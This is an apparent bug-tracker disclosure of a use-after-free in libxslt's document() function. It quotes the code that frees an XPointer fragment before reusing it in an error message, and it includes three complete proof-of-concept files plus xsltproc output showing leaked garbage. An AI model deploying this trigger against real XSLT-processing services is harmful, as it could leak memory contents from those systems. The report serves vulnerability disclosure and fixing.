Created attachment 315836 [details]
poc.tgz contains the 3 files mentioned above for reproduction

the UAF can be triggered via xsltproc:

sebastian@hackpot:/xslt-tests/poc$ xsltproc poc.xml
runtime error: file poc.xsl line 9 element copy-of
document() : XPointer does not select a node set: #▒▒▒▒{
no result for poc.xml

version used: 

sebastian@hackpot:/xslt-tests/poc$ xsltproc -version
Using libxml 20901, libxslt 10128 and libexslt 817
xsltproc was compiled against libxml 20901, libxslt 10128 and libexslt 817
libxslt 10128 was compiled against libxml 20901
libexslt 817 was compiled against libxml 20901

garbage is displayed after the error message since the referenced string has been freed before. the responsilbe function is xsltDocumentFunctionLoadDocument in functions.c:

static void
xsltDocumentFunctionLoadDocument(xmlXPathParserContextPtr ctxt, xmlChar* URI)
{
[...]
    xmlFree(fragment);    <- FREE the fragment

    if (resObj == NULL)
	goto out_fragment;

    switch (resObj->type) {
	case XPATH_NODESET:
	    break;
	case XPATH_UNDEFINED:
	case XPATH_BOOLEAN:
	case XPATH_NUMBER:
	case XPATH_STRING:
	case XPATH_POINT:
	case XPATH_USERS:
	case XPATH_XSLT_TREE:
	case XPATH_RANGE:
	case XPATH_LOCATIONSET:
	    xsltTransformError(tctxt, NULL, NULL,
		"document() : XPointer does not select a node set: #%s\n",
		fragment);   <- Re-use it in error message
	goto out_object;
    }


poc.xml:
--------
<?xml-stylesheet href="poc.xsl" type="text/xsl"?>
<in>data.xml#xpointer(id('X')/range-to(id('Y')))</in>


poc.xsl:
--------
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
  <xsl:template match="in">
    <annotation>
      <xsl:copy-of select="."/>
      <value>
        <xsl:copy-of select="document(.)"/>
      </value>
    </annotation>
  </xsl:template>
  <xsl:template match="@*|node()">
    <xsl:apply-templates/>
  </xsl:template>
</xsl:stylesheet>


data.xml:
---------
<!DOCTYPE test [ <!ATTLIST A id ID #REQUIRED> ] >
<test>
  <A id="X"/>
  <A id="Y"/>
</test>


this bug can - to a limited extent - be abused for an information leak. 

regards
-sebastian